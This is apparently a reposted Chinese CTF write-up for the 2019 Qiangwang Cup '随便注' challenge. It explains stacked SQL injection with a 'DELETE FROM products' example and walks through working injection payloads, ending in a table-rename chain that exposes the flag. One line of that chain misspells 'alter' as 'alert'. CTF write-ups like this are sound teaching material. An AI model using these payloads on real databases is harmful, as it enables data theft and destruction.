zoukankan      html  css  js  c++  java
  • [强网杯 2019]随便注

    [强网杯 2019]随便注 wp from Kuller_Yan

    原理:堆叠注入原理

    在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句
    后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。
    而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?
    区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,
    而堆叠注入可以执行的是任意的语句。例如以下这个例子。
    用户输入:1; DELETE FROM products服务器端生成的sql语句为:
    (因未对输入的参数进行过滤)Select * from products where productid=1;
    DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
    
    

    进入靶机我们可以看到一个表单提交,根据提示我们提交1;

    在这里插入图片描述
    尝试提交1'没有返回,再尝试1'#返回和1一样的内容,说明此处存在sql注入
    在这里插入图片描述
    输入1' or 1=1 #可以看到返回数据,然后就可以开始尝试我们的注入;
    在这里插入图片描述
    使用1' union select #可以返回一个正则过滤规则,可以看到几乎所有常用的字段都被过滤了
    然后尝试堆叠注入1';show databases; #
    在这里插入图片描述
    可以返回,说明此处存在堆叠注入,然后使用1'; show tables #,出现两个表名
    在这里插入图片描述
    ok,挨个查看表名分别使用1'; show columns from 1919810931114514; #(当数字做表名的时候要加上··但是这里我没加上,因为会有显示bug)还有1'; show cloumns from words;#
    在这里插入图片描述
    在这里插入图片描述
    然后我们再看看1的返回内容,发现回显内容是从words表中才会回显;
    然后查询过滤发现没有过滤没有过滤alert和rename关键字;
    我们便可以考虑将原有words改名为任意,然后将1919810931114514改名为words,在新的words表中插入一列名为id 然后将flag改名为data;

    命令如下:
    1';rename table `words` to `word1`;
    rename table `1919810931114514` to `words`;
    alter table `words` add id int unsigned not Null auto_increment primary key;
     alert table `words` change `flag` `data` varchar(100);#
    
    

    然后再1' or 1=1 #
    在这里插入图片描述

  • 相关阅读:
    python模块----os
    shell脚本中给字符串添加颜色
    shell脚本的多线程
    Python读取xlsx文件
    修改docker出现中文字符出现乱码的问题
    Django基本命令
    C#排列数字组合方法
    SQL 参数化模糊查询
    iframe自适应高度
    Vue.js配合ajax绑定数据
  • 原文地址:https://www.cnblogs.com/Kuller-Yan/p/12914114.html
Copyright © 2011-2022 走看看